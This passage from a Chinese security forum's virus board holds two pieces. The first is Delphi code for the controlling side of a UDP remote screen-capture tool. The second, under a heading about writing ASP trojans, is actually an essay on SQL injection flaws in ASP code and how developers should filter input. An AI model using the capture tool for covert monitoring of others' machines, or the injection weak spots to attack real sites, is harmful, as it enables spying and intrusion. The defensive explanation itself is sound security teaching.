件Label1,Caption属性设为“左:上:右:下”;加入控件Edit1,Text属性设为“0:0:100:100”;加入控件Label2,Caption属性设为“受

控机IP地址”;加入控件Edit2,Text属性设为“127.0.0.1”;

在implementation后面加入变量定义
const BufSize=2048;
var
RsltStream,TmpStream:TMemoryStream;

为Server的OnCreate事件添加代码:
procedure TServer.FormCreate(Sender: TObject);
begin
RsltStream:=TMemoryStream.Create;
TmpStream:=TMemoryStream.Create;
end;

为Client的OnDestroy事件添加代码:
procedure TServer.FormDestroy(Sender: TObject);
begin
RsltStream.Free;
TmpStream.Free;
end;

为控件Button1的OnClick事件添加代码:
procedure TServer.Button1Click(Sender: TObject);
var ReqCode:array[0..29] of char;ReqCodeStr:string;
begin
ReqCodeStr:='show'+Edit1.Text;
StrpCopy(ReqCode,ReqCodeStr);
TmpStream.Clear;
RsltStream.Clear;
SUDP.RemoteHost:=Edit2.Text;
SUDP.SendBuffer(ReqCode,30);
end;

为控件SUDP的OnDataReceived事件添加代码:
procedure TServer.SUDPDataReceived(Sender: TComponent;
NumberBytes: Integer; FromIP: String);
var ReqCode:array[0..29] of char;ReqCodeStr:string;
begin
ReqCodeStr:='show'+Edit1.text;
StrpCopy(ReqCode,ReqCodeStr);
SUDP.ReadStream(TmpStream);
RsltStream.CopyFrom(TmpStream,NumberBytes);
if NumberBytes< BufSize then { 数据已读完 }
begin
RsltStream.Position:=0;
Image1.Picture.Bitmap.LoadFromStream(RsltStream);
TmpStream.Clear;
RsltStream.Clear;
end
else
begin
TmpStream.Clear;
ReqCode:='show';
SUDP.RemoteHost:=Edit2.Text;
SUDP.SendBuffer(ReqCode,30);
end;
end;

存为“C:\VServer\SvrUnit.pas”和
“C:\VServer\VServer.dpr”,并编译。
   四、测试。

1、本地机测试:在本地机同时运行Vserver.exe和VClient.exe,利用程序的默认设置,即可实现截屏。查看“控制面板”-“网络”-“TCP/IP

”-“IP地址”,将程序的“客户IP地址”设为该地址 ,同样正常运行。

2、远程测试:选一台受控机,运行VClient.exe;另选一台主控机,运行VServer.exe,将“受控机IP地址”即Edit2的内容设为受控机的IP地

址,“截屏”即可。以上简要介绍了远程屏幕抓取的实现方法,至于在主控机上一屏同时监视多个受控机,读者可自行完善。以上程序,在

Windows98对等网、Delphi 4.0下调试通过

ASP木马编写
ASP中数据库的安全是一个很严肃的问题。很多代码的编写者意识到了这类问题,并且小心翼翼地对他们认为有问题的地方做了补救,但常见的

情况是要么没有穷尽所有的可疑地点,要么这种补救逻辑上有误。对于一个耐心且嗅觉灵敏的攻击者来说,这种意义上的补救措施和没有任何

补救措施没有本质上区别。

  下面罗列的是一些可能出现的问题:有些是常见易犯的错误,有些根本就是逻辑上有问题。看看你是不是也这样写过?对于攻击者而言,

倒着看这些东西,应该对寻找漏洞有点帮助,更为完整一点的检测方法,请等我的关于黑/白盒分析和自动化测试文章。

  一、令人疑惑的过滤方式   

  典型例子是不管不顾地对所有的输入变量都去掉单引号,或者是把单引号替换成合法的两个单引号,例如:   

  id = replace(request.querystring("id"), "", "")

  str = replace(request("someinput"), "", "")   

  现在很明了的是,第一个做法很有可能是错误的。因为引起SQL Injection的不总是单引号,再扩大一点,引起问题的不是任何单独的符号

,这样子的过滤,有些冤枉单引号了。正确的利用注入,重要的一点是闭合前面的一句SQL查询语句――往往是得先正确地闭合前面一个条件,

因为我们可能会在同一句里面引入新的条件,补救措施只要破坏注入条件应该就可以了,但是考虑到其复杂性(下面会说),最好还是较为完

整的限制一下输入的字符种类。

  第二个看起来是没有什么问题的,但潜在的会带来一些隐患。这很容易给人造成的一个错觉是,我对输入的字符串已经很有效的做过处理

了,以后使用没有什么问题。这句话没有错,对字符串来说这样做也是很正确的,但是他扮演了一个不光彩的角色,试想一下,如果过滤后的

字符串放进了数据库,而后续的语句有直接拿出来使用的,这种对前面过滤的依赖性,是不是正确的呢?   

  也许较好的做法应该是,针对具体的情况来确定过滤的准则。

  常见的输入变量有三种:数字,字符串还有集合。对于数字型的输入变量,简单调用一下判断函数即可,见得到的代码中,凡是检查了这

类变量的,几乎都正确。对于字符串型的来说,基本上在插入到生成的SQL语句时,前后都有单引号,如果仅从破坏注入条件来看,把单引号替

换成两个单引号应该问题不大。同理的,如果是一个字符串的集合,也可以简单的用这种方法。而如果是数字的集合,情况可能稍微麻烦一点

,至少你得允许数字、逗号或许还有空格之类的符号在输入中正常出现,这样子的过滤规则可能显得复杂,不过你可以借鉴一下dvBBS6.1打过

补丁后的版本,总的来说,对于已经发现的过滤漏洞而言,他们还是补得比较好的。
二、获取的数据值得信赖吗?   

  其实这样子说范围显得有点大,一下子涉及到很多方面,一个例子一个例子地举来看好了。   

  首先是关于选择过滤数据的问题。一直以来,我们认为凡是用户输入的东西,都要经过适当的处理。没错,但真正的是否都做到呢?随便

找个抓包的工具,比如Ethereal,看看在你用IE提交表单或者是打开连接的时候,都提交了什么。或者,简单一些,打开NetAnt编辑一个任务

,在协议标签中,看看那个“自定义提交者”和“用户代理”的选项。

  我想你已经明白了,对方可以自己定制的东西不仅仅是GET或POST过来的数据!如果所有的用户都规规矩矩地用浏览器,确实不用防备这么

严,如果对方不这么老实,在取服务端变量或Cookie的时候可要小心了,没有任何人能够保证你获得的数据是合法的。对于Cookie而言,很多

程序都出过问题,所以以前强调得比较多,至于另外的,关注的人可能比较少一点,但你是否看过或者写过这样的代码:  

  sql="ShowHOT_COM_inst_online_char 2,"&statuserid&","&membername&","&memberclass&","&Request.ServerVariables

("REMOTE_HOST")&","&boardid&","&Request.ServerVariables("HTTP_USER_AGENT")&","&replace(stats,"","")

&","&Request.ServerVariables("HTTP_X_FORWARDED_FOR")&","&UserGroupID&","&actCome&","&userhidden&","&userid&""   

  Request.ServerVariables("HTTP_USER_AGENT")就是你在NetAnt中看到的用户代理选项,也就是说你可以伪造,同样可以伪造的还有

Request.ServerVariables("HTTP_REFERER"),也就是你在NetAnt中看到的提交者选项等等。在做一些项目的时候,很有可能要将这一类的变量

添加入数据库,这时候要千万小心,这个地方的忽略,引起的后果和其他类型变量未过滤导致的后果是一样的。

  在Google上搜索Referer和Request.ServerVariables两个关键字,还可以看到很多有问题的写法,或者去看看五月份左右的关于动网论坛

入侵的文章,也许你的理解会更加深刻一点。   

  然后是一个隐藏得稍微深一点的问题,不是用户的直接输入要不要过滤?

  这就回到了我们前面留下的那个问题,单引号换成两个单引号的潜在威胁。在第二次构造SQL语句的时候,倘若数据是从数据库里面直接去

取出来用的,多数情况下人们会认为前面已经处理过的东西看起来似乎并没有必要再处理,或者干脆就是没有意识到应该处理。这是极其错误

的!从两个方面来看,首先你入库的时候对提交数据中的单引号处理,仅仅是保证了单次SQL语句构造的正确性,并没有一劳永逸地解决问题;

再说了,后面取出数据用的时候,对数据安全性检查的依赖并没有得到保证,因为这种依赖关系没有传递下来,而且依赖关系本身还不是可传

的。

  就replace(request("someinput"), "", "")而言,它的不安定性在于这种过滤方式只是一种妥协,换句话说只是在有限的范围内掩盖了可

能出现的问题,而没有永久性的处理掉。它还有一个讨厌的地方在于给人一种错觉,似乎是处理过的数据已经安全了,容易让后继的代码编写

者产生虚幻的安全感。对这两个弱点,不是靠换一个写法就能解决的,因为如果你把单引号干脆去掉,又会引来另外一个问题,输入数据中确

实有需要而且正确的单引号怎么办?从一开始我就说,单引号本身是无罪的,过滤它只是一种解决手段而已,所以我们还是就这样写吧,不过

要在后继的部分加强一下检查。
  

  还有就是过滤器的位置,这个掺杂了逻辑问题在内的复杂问题。

  乔客论坛对外散布的版本中一段让人觉得不可思议的问题代码,如果你比较感兴趣的话,翻翻gallery.asp就能看到一个特定的动作序列(

action=flash_view),绕过了所有对id的检查。

  其实说起来,这一类代码不太可能有太复杂的逻辑结构,对代码进行审查的时候,进行所有的分支覆盖是可以手工完成的,只要稍微想想

就会发现对变量的检查是否能够有效地到达你的目的地――生成SQL语句的地方。

  关于过滤器的位置,如果要深入下去,马上就会出来一些让人眼花缭乱的东西,中间的分析很麻烦而且很形式化,虽然确实有算法可以保

证位置选取的正确性,但是我想这里还是给出一些结论性的东西吧。倘若你很有兴趣,我想你可以来信和我交流。

  过滤的位置,取决于两个方面:你获得变量的来源,以及你需要保证到的生成SQL语句的位置。前面一个,不论是来自于直接还是间接输入

,先想想可能的输入字符;对于后面一个,你要保证无论程序运行情况怎样,经过了过滤语句的流程一定会经过你需要保证到的生成SQL语句的

位置(保证其是有效过滤语句的后向必经节点)。如果你不很清楚流程的判断,我的建议是if中仅仅判断,if嵌套间不要有多余的东西,过滤

语句后紧接生成SQL语句。

  再回到前面提到的潜在问题,我们终于可以在这里解决了:在取出数据后依然首先进行判断。因为根据前面说的,这一种间接输入依然有

可能出现危险。

  说到这里,插一句另类的过滤位置问题:不要把对输入的过滤放到客户端解决,那是可以绕过的!谁能保证你的VBScript/javascript能起

作用,如果别人直接用NC或者一个不支持脚本的浏览器呢?  

  上述两个大的方面,以软件测试的目光来认识,显然是没有穷尽所有的分支所导致。在使用对方提交的数据之前,先做一个对方所有可能

进入字符的分析列表,然后就每一种输入分支情况进行类型的审核,这是每个代码编写者都应该做的事情。这是一件很简单的事情,因为只是

类型上的审核还好,碰上语义的问题就麻烦了……  
三、类型正确意味着放行?   

  涉及到语义的问题,要是可能的话,我选择最好还是避开。

  譬如对于一个整型数字,你输入的确实是一个整型,通过了过滤器,潜在的问题是你的输入内容上合法吗,或者根本就不应该从你这里获

得信息?很多年前就有人提出来,有些注册的模块存在问题:它里面的id是通过一个type=hidden掩盖后隐式提交的,但是我在第一步建立了用

户,第二步仍就有可能通过提交内容不合法的id来修改他人的信息。这种异类的问题都是非常难发现,而且几乎都只有靠经验而不是某一个具

体的算法来处理。我们在联系一下前面的,连起来想想或许能够更加清楚,对于输入的字符串,感觉上没有过滤也不会有错,因为比较数字之

类集合来说,字符串所能容纳的几乎是全部可能输入的集合。事实上,常见的是没有过滤造成单引号的错误匹配,进而导致了SQL Injection。

严格说起来,这也是一个语义上的问题,不过对于这样子的特殊情况而言,可以通过处理输入中的单引号来保证语义的某种程度上的正确。所

以我也一再强调,单引号本身是无罪的,不过是背了语义的黑锅而已。

  令人遗憾的是,如果是整型数据出了语义上的问题,没有什么东西可以替语义背黑锅了,所以没有了一个一定程度上通用的解决方案。不

过也不要悲观,前面就已经说过,能避开就避开,釜底抽薪不要让可能有语义问题的变量作为输入好了。

  仅仅考虑数据库安全的话,所有有威胁的语义问题都几乎出在对数据库的操作上,那么,我们只要注意update/insert等语句就可以了,如

果考虑数据内容的安全性的话,select也得算上。一般来说,特别关注的是生成的where后面的条件语句,总觉得条件的语义应该是由服务器端

决定的,而不是说用户的输入是什么就是什么。我的建议是对于所有的可能出现语义问题的整型变量,最好都是Session,当然,没有进行非常

深入的研究,或许有人能够提出像对付字符串的语义问题一样的有效方法也说不一定。不过话又说回来,在语义层面上看对字符串的过滤,不

能证明它不安全,但是更重要的没有人能够证明它安全,只是大家现在用着没有问题,也就默认了罢了。

  若要深入的分析语义,也会突然冒出一大堆奇怪的东西,所以还是就此打住吧,真切的希望同行之间能够多一些这方面的交流!   

  前面说的也许更多地会用在一些对既有代码的补救上,如果是从头开始构架一个软件的话,上面的仅仅是设计上一些参考。所有的漏洞都

是源于设计上的缺陷,一个好的软件应该被证明其模型是正确的,这很难但是可以做到。

地主 发表时间: 05-05-03 12:44

论坛: 病毒专区

20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon

粤ICP备05087286号